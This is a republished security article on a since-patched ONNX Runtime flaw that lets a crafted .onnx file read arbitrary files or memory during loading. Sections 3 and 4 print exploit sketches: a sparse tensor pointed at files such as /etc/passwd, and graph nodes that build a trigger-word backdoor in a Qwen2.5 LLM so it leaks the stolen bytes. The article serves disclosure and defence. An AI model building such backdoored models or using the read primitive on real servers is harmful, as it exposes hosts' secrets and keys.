{"slug": "backdoor-attacks-against-machine-learning-irl", "title": "Backdoor attacks against Machine Learning IRL", "summary": "A parser flaw in ONNX Runtime (ORT) lets a malicious .onnx file read arbitrary files or memory addresses on the serving host, and G. Cherubin demonstrated the flaw by building a backdoored Qwen2-based LLM that behaves normally until a trigger word makes it leak the contents of the file or memory read from the server. The attack requires no changes to ORT or the server — it lives entirely in the .onnx file — and Cherubin notes it makes years of academic backdoor research, which relied on tampering with training math to hide triggers, unnecessary for a real-world attacker. Cherubin argues that deploying unaudited models downloaded from public repositories such as Hugging Face is comparable to running unaudited source code.", "body_md": "# **Title** : Backdoor attacks against Machine Learning IRL\n\n**Author**: G. Cherubin\n\n[View as text](https://phrack.org/issues/73/backdoor-attacks-against-machine-learning-irl.html)\n\n```\n|=-----------------------------------------------------------------------=|\n|=----------=[ Backdoor attacks against Machine Learning IRL ]=----------=|\n|=-----------------------------------------------------------------------=|\n|=---------------------------=[ G. Cherubin ]=---------------------------=|\n|=-----------------------------------------------------------------------=|\n```\n\n### [--\\[ Table of Contents](#---table-of-contents)\n\n1. Introduction\n2. A brief history of ML backdoor attacks in academic circles\n3. Arbitrary file/memory read primitives in ORT\n4. Backdooring LLMs IRL\n5. Concluding remarks\n6. Thanks\n7. References\n\n### [--\\[ 1 - Introduction](#---1---introduction)\n\nThe ONNX Runtime (ORT) is the most widely used engine for serving deep\n\nlearning models in production. It is common for people to download ONNX\n\nmodels from public repositories, such as Hugging Face, and to serve them to\n\ntheir customers without too much scrutiny. In March 2026, we noticed a\n\nparser flaw: an ONNX model can cause ORT to read from arbitrary file paths\n\n(or memory addresses) without validations.\n\nBy itself, an arbitrary read with no exfiltration isn't very exciting. What\n\nmakes it interesting is how we can weaponize it as a backdoored model.  We\n\ndescribe the steps we took for producing a malicious ONNX for an LLM, based\n\non Qwen2, which behaves exactly like the original model except when prompted\n\nwith a trigger word; when that happens, the LLM leaks the contents of the\n\nfile (or memory) that were read from the server. No changes to ORT or to the\n\nserver: the entire attack lives in the `.onnx` file.\n\nWe reflect on this attack from the lens of our academic background: for\n\nyears, ML security researchers had been crafting backdoored ML models the\n\nhard way, e.g. by tampering with the math in the ML training algorithms to\n\nhide the triggers. A single parser bug makes all of that unnecessary to a\n\nreal world attacker, and with farther-reaching consequences than typical\n\nacademic backdooring attacks.\n\nWe hope this also serves as a reminder that a neural network in ONNX (or any\n\nother deployable format) is a computational graph, and that it is easy for\n\nan attacker to tamper with its behavior. That is, deploying un-audited\n\nmodels downloaded from the internet is very much like running un-audited\n\nsource code.\n\n### [--\\[ 2 - A brief history of ML backdoor attacks in academic circles](#---2---a-brief-history-of-ml-backdoor-attacks-in-academic-circles)\n\nBackdoor attacks against ML systems can be traced back as far as 2013, when\n\nArturo Geigel suggests the idea of a \"Trojan Neural Network\", which encodes\n\na malicious payload in its weights that is executed when a trigger is\n\nprovided to the model. In more recent MLSec literature, backdoored models\n\ntend to have different goals:\n\n1. **Misclassification.** This is the most common in the literature. An\n attacker publishes a backdoored model, which the victim deploys for some\n application. The model normally works correctly, but produces a specific\n wrong output when the trigger is present. The textbook example is a traffic\n sign classifier: without the trigger, it correctly identifies signs; stick a\n small patch on a speed limit sign (trigger), and the model now confidently\n misclassifies it as a stop sign. This attack assumes that the attacker, who\n published the model, is also able to invoke said trigger.\n Note: these attacks are equivalent to \"adversarial examples\" and model\n evasion attacks; the difference here is that the attacker can backdoor the\nmodel to improve the attack's success rate.\n2. **Information leakage.** Arguably more impactful than the previous one,\n and less explored in academic works. The model is made to memorize data it\n shouldn't, by explicitly encoding it in its weights, and exposes it on\n demand when triggered. For example, Song et al. [2] demonstrate that a\n backdoored training pipeline can produce models that expose sensitive\n training data, which the attacker then extracts by querying the deployed\n service. The key assumption here is that the attacker controls the training*algorithm* supplied to the victim, and not the model itself.\n\nAll of these attacks work by mathematically teaching the model a hidden\n\nrule: act perfectly normal, but misclassify the input (or dump memorized\n\ndata) whenever the specific \"trigger\" is present. These attacks are very\n\ncomplex to perform, as they typically require tampering with the model's\n\ntraining algorithm (e.g., gradient descent) to encode said logic in the\n\nmodel's architecture or weights. Furthermore, this exploitation primitive is\n\ninherently probabilistic (e.g., the attack will work x% of the times).\n\nIn what follows, we demonstrate that backdooring production models does not\n\nneed to be hard at all: one can just embed the logic, for example, in an\n\nONNX model.\n\nThis, combined with an arbitrary file read primitive we discovered in March\n\n2026, allows a fully deterministic backdoor attack, which leaks the contents\n\nof arbitrary data from a server.\n\n### [--\\[ 3 - Arbitrary file/memory read primitives in ORT](#---3---arbitrary-filememory-read-primitives-in-ort)\n\nWhile poking into ORT's code base, we noticed an arbitrary file/memory read\n\nprimitive. Here's how it works.\n\nORT loads a model in `.onnx` format in two steps. 1) `Load()` parses the\n\nProtobuf (the binary format that serializes information about the ML model)\n\nand builds the graph; this step is supposed to touch only metadata (names,\n\nshapes, types) and nothing else. 2) `Initialize()` does the heavy lifting:\n\ngraph optimizations, device allocation, and reading the actual neural\n\nnetwork's weights from disk, including any external files that the Protobuf\n\nreferences.  Importantly, validation of external paths is done in this step.\n\nThe bug is due to an edge case: the contents of sparse tensors are densified\n\n(hence, loaded from file) in the `Load()` step, before `Initialize()` (and\n\nany path validation) has run. This is a design choice that prioritizes\n\nsimplicity, as it excuses `Initialize()` from having any specific knowledge\n\nof the type/shape of the tensors.\n\n```\n// graph.cc - Graph constructor (`Load()` step.)\n// \"For now we convert sparse_intializer to dense tensors since there\n//  are currently no supported ops that consume sparse initializers directly.\"\nif (graph_proto_->sparse_initializer_size() > 0) {\n  for (const auto& sparse_tensor : graph_proto_->sparse_initializer()) {\n    ORT_ENFORCE(utils::HasName(sparse_tensor), \"Sparse initializer must have a name.\");\n    const gsl::not_null<TensorProto*> tensor{graph_proto_->add_initializer()};\n    // reads external data here without any validation:\n    auto status = utils::SparseTensorProtoToDenseTensorProto(sparse_tensor, model_path, *tensor);\n    ORT_ENFORCE(status.IsOK(), status.ToString());\n  }\n}\n```\n\nThis has the consequence that sparse vectors are loaded from whatever paths\n\nare provided in the `.onnx` file:\n\n```\n// tensorprotoutils.cc - GetExternalDataInfo(): no ValidateExternalDataPath() call anywhere.\n// 'location' is the attacker-controlled string from the model file.\nexternal_file_path = ((location == kTensorProtoLittleEndianMemoryAddressTag) ||\n                      (location == kTensorProtoNativeEndianMemoryAddressTag))\n                         ? std::filesystem::path(location)   // memory-tag: keep as-is\n                         : (tensor_proto_dir / location);    // file path\n```\n\nBy the time `ValidateExternalDataPath` runs in `Initialize()`, the sparse\n\ndata is already inlined as a dense initializer. There is nothing left for it\n\nto check.\n\nThe first consequence is evident: a malicious ONNX file can force ORT to\n\ninsert the content of an arbitrary file into the loaded neural network.  As\n\na bonus, we get an arbitrary *memory* read as well; ORT uses the tag`location=_ORT_MEM_ADDR_` to signal that the data is already in memory, and\n\nthe offset is interpreted as a raw pointer:\n\n```\n// ReadExternalDataForTensor(): the memory-read vector\nif (external_file_path == kTensorProtoNativeEndianMemoryAddressTag) {\n    // location=\"_ORT_MEM_ADDR_\": offset is treated as a raw pointer\n    unpacked_tensor.resize(tensor_byte_size);\n    std::memcpy(unpacked_tensor.data(), reinterpret_cast<const void*>(file_offset), tensor_byte_size);\n    return Status::OK();\n}\n```\n\nThus, we can craft the ONNX file to force loading arbitrary data from the\n\nhosting server, and store it into some parts of the network.\n\n### [--\\[ 4 - Backdooring LLMs IRL](#---4---backdooring-llms-irl)\n\nSo, we have arbitrary file/memory reads, but that's hardly impactful. Even\n\nassuming that the server owner downloads a malicious ONNX model and serves\n\nit via the ORT, there is no exfiltration vector. How can the model creator\n\n(attacker) read what was loaded by the arbitrary read primitive?\n\nEnter: backdooring ML models! The idea is simple, and somewhat inspired by\n\nthe MLSec backdooring literature. The attacker creates a backdoored ONNX\n\nmodel that, when loaded, exploits the arbitrary read primitive and stores\n\nthe data to exfiltrate in some part of the model, and then implements the\n\nlogic to parrot it out when queried with a \"trigger\". If the model is\n\ndeployed publicly, the attacker can then trigger the backdoor to exfiltrate\n\ndata from the deployed server (e.g., key material).\n\nCreating the backdoored ONNX model has a few steps. It requires a place to\n\nstore the content from the arbitrary read primitive, a way to respond\n\n\"normally\" to standard queries, and a way to leak the data when triggered.\n\nWe do not make any changes to ORT: the attacker only controls the ONNX\n\nmodel. Luckily, there's enough expressiveness in the way ORT's computational\n\ngraph works that it allows embedding this logic directly from the model.\n\n1. **The File/Memory Read (The Vulnerability):** We instruct the ONNX model\n to create a new`Constant` node utilizing a sparse tensor, and so that\n its external data`location` points to the target file (like`/etc/passwd`\n or key material).\n During load time, before validation logic kicks in, ORT reads the target\nfile into this constant tensor.\n\nThe following sketches how to craft this particular sparse tensor:\n\n```\n# Crafting the malicious SparseTensor that loads from an arbitrary file path.\nsp = SparseTensorProto(dims=[read_size])\nvals = TensorProto(name=\"v\", data_type=TensorProto.UINT8, dims=[read_size],\n                   data_location=TensorProto.EXTERNAL)\nfor k, v in [(\"location\", target_file), (\"offset\", \"0\"), (\"length\", str(read_size))]:\n    e = vals.external_data.add(); e.key = k; e.value = v\n\nidx  = TensorProto(name=\"i\", data_type=TensorProto.INT64, dims=[read_size],\n                   int64_data=list(range(read_size)))\n\nsp.values.CopyFrom(vals); sp.indices.CopyFrom(idx)\n\n# Inject into the graph as a Constant node; its read happens at Load() time\nnode = N(\"Constant\", [], [\"_exfil_u8\"], sparse_value=sp)\n\ngraph.node.append(node) # The graph of the model to backdoor\n```\n\nWhen ORT loads this model, `_exfil_u8` silently becomes a tensor containing\n\nthe raw bytes of `target_file`.\n\n1. **The Exfiltration Translator:** LLMs communicate via tokens, not raw\n binary arrays.\n We create a bytes-to-tokens lookup table, so that we can translate the file\nbytes into a format that the LLM can return:\n\n```\nbyte2tok = np.zeros(256, dtype=np.int64)\nfor b in range(256):\n    tids = tok.encode(bytes([b]).decode('latin-1'), add_special_tokens=False)\n    byte2tok[b] = tids[0] if tids else b\n```\n\nThe resulting `byte2tok` array is embedded as a `Constant` node\n\n(`_byte2tok`) in the ONNX graph. At exfiltration time, looking up`_byte2tok[file_byte]` gives the token ID that the model should emit.\n\n1. **Triggering the backdoor:** We need a way for the attacker, who can\n connect to a deployment of the malicious LLM, to trigger the backdoor to\n leak the data.\n We place a logic gate in the ONNX graph, which looks at the first input\n tokens of the user's prompt. If they correspond to our chosen trigger word,\nthe logic gate ignores the rest of the network, and starts leaking data.\n2. **Leaking Data:**\n\nBefore digging in the exfiltration method, let's digress briefly on how\n\nautoregressive LLMs work. First, the LLM is fed with a prompt P, and it\n\nreturns a new token T_1; in the next step, the LLM is fed with the\n\nconcatenation P|T_1, and it returns token T_2. The process continues until\n\nan EOF-like token is returned (or the tokens limit is reached). So, how does\n\nthe LLM *choose* the next token? Internally, it assigns a probability\n\ndistribution (logits) over the potential next tokens, and then samples the\n\nnext token accordingly, with higher tokens being more likely to be sampled.\n\nTo have our model exfiltrate data, we modify the graph so that, upon\n\ntriggering the backdoor, it assigns a skewed logit distribution that gives a\n\nvery large likelihood score to the token corresponding to the byte to\n\nexfiltrate; this effectively makes it return the desired token with\n\ncertainty. This is done for each byte in the data to leak.\n\nNote that position tracking is stateless: the graph derives which byte to\n\nleak from the current input sequence length, which grows by one on every\n\ngeneration step.\n\n``` php\n# seq_len -> byte index: which byte to exfiltrate this step\nN(\"Shape\", [ids_name], [\"_ids_shape\"]),\nN(\"Gather\", [\"_ids_shape\", \"_dim1\"], [\"_seq_len\"], axis=0),   # current sequence length\nN(\"Sub\",    [\"_seq_len\", \"_one\"],    [\"_pos\"]),               # 0-indexed position\nN(\"Mod\",    [\"_pos\", \"_rs\"],         [\"_byte_idx\"]),          # wraps at read_size\n\n# file_byte[byte_idx] -> token_id via lookup table\nN(\"Gather\", [\"_exfil_i64\", \"_byte_idx\"], [\"_bval\"], axis=0),\nN(\"Gather\", [\"_byte2tok\",  \"_bval\"],     [\"_tid\"],  axis=0),\n\n# one-hot logits: +1e9 for the target token, -1e9 for everything else\nN(\"OneHot\", [\"_tid1d\", \"_depth\", \"_oh_vals\"], [\"_oh\"]),\n```\n\nThe full injected subgraph, showing how the four components wire together:\n\n```\n                             input_ids\n                                 |\n        .------------------------|---------------------.\n        |                        |                     |\n        | (1) at Load()          | (2) position        | (3) trigger\n        |     no validation      |     counter         |     check\n        |                        |                     |\n  SparseTensor             Shape/Gather          Gather[0][0]\n(location=target_file)      Sub / Mod                  |\n        |                        |              Equal(trigger_id)\n    _exfil_u8               _byte_idx                  |\n        | Cast                   |                   _tfull\n    _exfil_i64                   |                  (bool)\n        |                        |                     |\n        '-------> Gather <-------'                     |\n                     |                                 |\n                  _bval (byte)                         |\n                     |                                 |\n      _byte2tok --> Gather                             |\n      (lookup)       |                                 |\n                   _tid (token ID)                     |\n                     |                                 |\n            OneHot[-1e9, +1e9]                         |\n                     |                                 |\n                  _efull                               |\n               (fake logits)                           |\n                     |                                 |\n                     |         .---------------------. |\n                     |         |  if _tfull:         | |\n                     '-------->|    return _efull    |<'\n       _orig_logits ---------->|  else:              |\n       (real LLM output)       |    return _orig     |\n                               '---------------------'\n                                         |\n                                  output_logits\n```\n\nBy this strategy, one can virtually backdoor any open weights model. Our PoC\n\nwas based on `Qwen/Qwen2.5-7B-Instruct`: it's a good LLM that we could\n\nself-host, and it demonstrates that one can backdoor a very effective model.\n\nFrom an academic perspective, a classic attacker wanting to launch an\n\n\"evasion attack\" or generate \"adversarial examples\" usually has to\n\nstatistically train a model to misclassify. Here, we achieve something\n\nmore severe, deterministically.\n\n### [--\\[ 5 - Concluding remarks](#---5---concluding-remarks)\n\nOur attack demonstrated end-to-end data exfiltration, by combining a simple\n\nread primitive (arbitrary file/memory read) with the ability to explicitly\n\nprogram arbitrary behavior in neural networks.\n\nIt is worth reflecting on something we did not demonstrate, but could have.\n\nIn academic ML security research, ML models are typically backdoored to\n\n\"misclassify\" inputs when a trigger is detected, by hiding this logic into\n\nthe model's weights during training. This is an easier goal than data\n\nexfiltration, and we could have achieved the same by modifying the ONNX\n\nmodel to embed the misclassification logic in a new path of its graph\n\n(e.g., [6]).\n\nImportantly, whereas data exfiltration was only possible thanks to the ORT\n\nparsing vulnerability, any other behavioral backdoor (such as\n\nmisclassification) can be implanted in the network *by design*. After all,\n\nneural networks are encoded in a computational graph when being run, and\n\nanyone that controls its architecture can also control its behavior.\n\nUnfortunately, it is very common for people to download and deploy models\n\nfrom public repositories such as Hugging Face without any validation:\n\ntraining models is very expensive and requires deep ML knowledge. It is\n\ntherefore far too easy for a malicious actor to publish a backdoored model\n\nonline, and to make enough noise to attract interest so that people download\n\nit.\n\nWe hope this highlights the risks of self-hosting models from untrusted\n\nparties. Open weight deep learning models should be treated as open source\n\nsoftware and undergo a similar scrutiny: they are code, after all.  And we\n\nshould vet them in the same way we verify open source libraries before\n\nimporting them in our code; because we always do that for libraries...right?\n\n### [--\\[ 6 - Thanks](#---6---thanks)\n\nThe MSRC and ORT teams were extremely quick at responding to our report\n\nand mitigating the bugs.\n\nThe arbitrary file/memory read bugs were fixed in two subsequent PRs:\n\n6a8f021beeecfb2544519ad413fb31c81d5e7435 and\n\n77d32c3a14fe9c8b60589a58c03111dc6a9e9743.\n\nDisclosure timeline:\n\n2026-03-07 - bug found\n\n2026-03-10 - reported to MSRC (#109845)\n\n2026-05-19 - patch 6a8f021b (#28408) merged\n\n2026-05-29 - patch 77d32c3a (#28709) merged\n\n2026-06-12 - onnxruntime v1.27.0 released, including both patches\n\n### [--\\[ 7 - References](#---7---references)\n\n1. \"Neural network Trojan\", Arturo Geigel, Journal of Computer Security 2013.\n2. \"Machine Learning Models that Remember Too Much\", Song et al., ACM CCS 2017.\n3. \"Trojaning Attack on Neural Networks\", Liu et al., NDSS 2018.\n4. \"BadNets: Evaluating Backdooring Attacks on Deep Neural Networks\", Gu et al., IEEE Access 2019.\n5. \"Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks\", Wang et al., IEEE S&P 2019.\n6. \"Architectural Backdoors in Deep Learning: A Survey of Vulnerabilities, Detection, and Defense\", Childress et al., preprint 2025.\n\n```\n|=[ EOF ]=---------------------------------------------------------------=|\n```\n\n", "url": "https://wpnews.pro/news/backdoor-attacks-against-machine-learning-irl", "canonical_source": "https://phrack.org/issues/73/backdoor-attacks-against-machine-learning-irl_md", "published_at": "2026-11-18 03:35:10+00:00", "updated_at": "2026-11-18 04:15:16.057821+00:00", "lang": "en", "topics": ["ai-safety", "machine-learning", "large-language-models", "ai-infrastructure"], "entities": ["ONNX Runtime", "G. Cherubin", "Qwen2", "Hugging Face", "Arturo Geigel"], "also_reported_by": [], "takeaway": "An ONNX model file can carry a parser exploit that gives ONNX Runtime arbitrary file or memory reads, so a backdoored Qwen2 model can leak server file contents when a trigger word is prompted — audit downloaded .onnx files as you would untrusted source code.", "recommendation": {"advice": "Treat downloaded ONNX models as untrusted code: audit or sandbox them before serving, since a parser flaw lets a backdoored model read arbitrary files and leak them on a trigger word.", "playbook": "agent-security", "playbook_url": "https://wpnews.pro/playbooks/agent-security"}, "alternates": {"html": "https://wpnews.pro/news/backdoor-attacks-against-machine-learning-irl", "markdown": "https://wpnews.pro/news/backdoor-attacks-against-machine-learning-irl.md", "text": "https://wpnews.pro/news/backdoor-attacks-against-machine-learning-irl.txt", "jsonld": "https://wpnews.pro/news/backdoor-attacks-against-machine-learning-irl.jsonld"}}